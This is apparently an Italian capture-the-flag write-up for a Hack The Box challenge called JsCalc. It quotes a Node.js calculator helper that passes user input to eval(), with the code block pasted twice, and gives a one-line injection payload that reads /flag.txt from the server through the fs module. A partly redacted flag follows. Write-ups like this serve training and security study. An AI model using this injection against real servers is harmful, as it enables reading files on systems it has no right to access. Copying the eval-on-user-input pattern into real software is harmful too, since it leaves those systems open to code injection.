JsCalc
• Aggiornamento: 08.12.2023 • Tempo di lettura: 08 min.Andando a verificare il sito internet troviamo una semplice calcolatrice che utilizza eval() per eseguire i calcoli.
Andiamo a controllare il codice:
calculatoreHelper.js
Quando si visualizza il sorgente, sembra che la funzione calculate() esegua un'operazione eval() su una funzione che contiene l'input dell'utente.
module.exports = {
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
calculate(formula) {
try {
return eval(`(function() { return ${ formula } ;}())`);
} catch (e) {
if (e instanceof SyntaxError) {
return 'Something went wrong!';
}
}
}
}
A questo punto la cosa più semplice è utilizzare il modulo fs:
require('fs').readFileSync('/flag.txt','utf8')
e la flag è presa: HTB{c4l......................rc3}